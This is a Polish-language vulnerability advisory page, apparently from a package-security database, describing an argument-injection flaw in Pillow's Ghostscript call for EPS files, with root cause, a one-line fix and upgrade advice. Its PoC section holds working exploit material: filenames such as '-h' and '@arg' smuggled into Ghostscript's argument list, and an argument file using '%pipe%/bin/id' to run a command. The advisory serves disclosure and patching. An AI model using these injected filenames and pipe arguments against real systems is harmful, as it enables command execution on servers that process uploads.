Krytyczna

Pillow: Wstrzykiwanie argumentów przy wywołaniu Ghostscript, potencjalnie prowadzące do RCE

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 00:00

Podsumowanie

PIL.EpsImagePlugin.Ghostscript() buduje linię poleceń Ghostscript przy użyciu ścieżki pliku wejściowego (fp.name) bez jej sanityzacji, umieszczając ją w -f <infile>. Nazwa pliku zaczynająca się od - jest interpretowana przez Ghostscript jako opcja, co prowadzi do wstrzyknięcia argumentów linii poleceń; może to zostać powiązane w łańcuch prowadzący do RCE (patrz Wpływ). Problem występuje przy domyślnym wywołaniu w Pillow (z włączonym -dSAFER).

Szczegóły

Typ

CWE-88 (Argument Injection) (→ opcjonalnie CWE-78 (OS Command Injection), w przypadku kontrolowania pliku tekstowego przez atakującego)

Podatny kod

python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Przyczyna źródłowa

Podczas renderowania obrazu EPS funkcja PIL.EpsImagePlugin.Ghostscript() konstruuje wiersz poleceń Ghostscript, używając ścieżki pliku wejściowego (fp.name) i umieszcza ją bezpośrednio na pozycji -f <infile> listy argumentów. Ścieżka ta może być kontrolowana przez użytkownika, jednak Pillow nie wykonuje walidacji ani neutralizacji tokenów, które Ghostscript traktuje specjalnie podczas parsowania argumentów wiersza poleceń — w szczególności wiodącego znaku - lub -- (który Ghostscript interpretuje jako opcję, a nie nazwę pliku) oraz wiodącego @ (składnia pliku argumentów Ghostscript, która powoduje odczytanie dodatkowych argumentów wiersza poleceń ze wskazanego pliku). Ponieważ nazwa pliku nie jest normalizowana (np. wymuszana jako ścieżka bezwzględna lub poprzedzana prefiksem ./) ani sprawdzana pod kątem tych prefiksów przed przekazaniem do podprocesu, atakujący kontrolujący nazwę pliku przekazywaną do Image.open() może wstrzyknąć dowolne argumenty wiersza poleceń Ghostscript. Jest to klasyczny błąd wstrzykiwania argumentów (CWE-88), przed którym nie chroni domyślne ustawienie Pillow -dSAFER.

Podatne wersje i komponenty

  • Pillow: przetestowano na 12.3.0 (najnowszej); podatny kod istnieje od dawna i wydaje się dotyczyć wszystkich bieżących wersji (w tym gałęzi main).
  • Komponent: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name oraz wpis na liście poleceń "-f", infile.

Sugerowana poprawka

Normalizacja nazwy pliku do ścieżki bezwzględnej przed przekazaniem jej do Ghostscript, aby nigdy nie mogła zostać zinterpretowana jako opcja (-/--) lub jako token pliku argumentów (@):

python
    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() gwarantuje, że ścieżka zaczyna się od separatora ścieżki (lub litery dysku w systemie Windows), dzięki czemu wiodący ciąg - lub @ nie trafi do parsera argumentów Ghostscript. Gałąź else już tworzy bezpieczną ścieżkę tempfile.mkstemp() i nie wymaga zmian.

PoC

Plik dockerfile, domyślne uruchomienie prezentuje demo wstrzyknięcia argumentu (poc.py); w celu uruchomienia PoC RCE należy wykonać polecenie python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Wpływ

Potwierdzone — wstrzyknięcie argumentu Ghostscript. Ponieważ nazwa pliku nie jest walidowana, wiodące znaki -/-- są przetwarzane przez Ghostscript jako opcja, a nie plik. Atakujący kontrolujący nazwę pliku przekazywaną do Image.open() może wstrzyknąć argument wiersza poleceń Ghostscript. Wstrzyknięcie pojedynczego argumentu zawsze kończy się powodzeniem.

Potencjalne RCE (zweryfikowane). Nazwa pliku nie jest również sprawdzana pod kątem składni pliku @ Ghostscript: nazwa pliku w postaci @<path> powoduje, że Ghostscript odczytuje dodatkowe argumenty wiersza poleceń z <path>, umożliwiając wstrzyknięcie wielu argumentów naraz. Jeśli atakujący ma dodatkowo kontrolę nad wskazanym plikiem, podatność ta może posłużyć do wykonania dowolnych poleceń — eskalacja ta została potwierdzona w PoC (wykonanie id).

Dotyczy to domyślnej konfiguracji Pillow (z włączonym -dSAFER), w wersji Pillow 12.3.0 z Ghostscript 10.02.1. Przy tych samych argumentach GS potwierdzono również RCE w najnowszej wersji GS (10.07.1).

Dlaczego jest to błąd Pillow (a nie udokumentowane ryzyko dotyczące „blokowania niezaufanych EPS”)

Nie jest to ryzyko złośliwej zawartości EPS opisane w zasadach bezpieczeństwa Pillow: błąd jest wywoływany przez nazwę pliku, a nie przez cokolwiek w dokumencie PostScript. Całkowicie nieszkodliwy plik EPS nadal prowadzi do wstrzyknięcia argumentów Ghostscript za każdym razem, gdy na nazwę pliku przekazaną do Image.open() ma wpływ atakujący, więc aplikacje prawidłowo przetwarzające pliki EPS nadal są narażone — wytyczne nakazujące blokowanie niezaufanych danych EPS tego nie obejmują. Ponieważ Pillow jest komponentem konstruującym wiersz poleceń Ghostscript, zapewnienie, że nazwa pliku nie zostanie zinterpretowana jako opcja (-/--) lub token pliku argumentów (@), leży po stronie Pillow, a nie po stronie każdego wywołującego go modułu. Warunek wstępny — wpływ atakującego na nazwę pliku docierającą do Image.open() — jest realny (np. punkty końcowe przesyłania plików, które zachowują lub tworzą zapisaną nazwę na podstawie danych wejściowych użytkownika), a połączenie go z tą luką w praktyce skutkuje wykonaniem zdalnego kodu (RCE). Jednowierszowa normalizacja (os.path.abspath(fp.name)) usuwa ten problem bez konieczności wprowadzania zmian w sposobie korzystania z API przez aplikacje.

Autor

Chanu Kang (z CysecLab w KAIST) @HLe4s

Co trzeba zrobić

Zaktualizuj pakiet pillow do wersji 13.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow >= 2.6.0, < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-78, CWE-88
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 00:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-w889-685w-c8fh - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (89) w archiwum
Wszystkich wpisów
89
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 12
  • Wysoka 57
  • Średnia 18
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

wcześniej: 12

Istotność:
  1. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Wstrzykiwanie argumentów przy wywołaniu Ghostscript, potencjalnie prowadzące do RCE ten wpis
    Krytyczna CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  3. Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  4. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Pokaż więcej (20) Widać 20 z 69

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.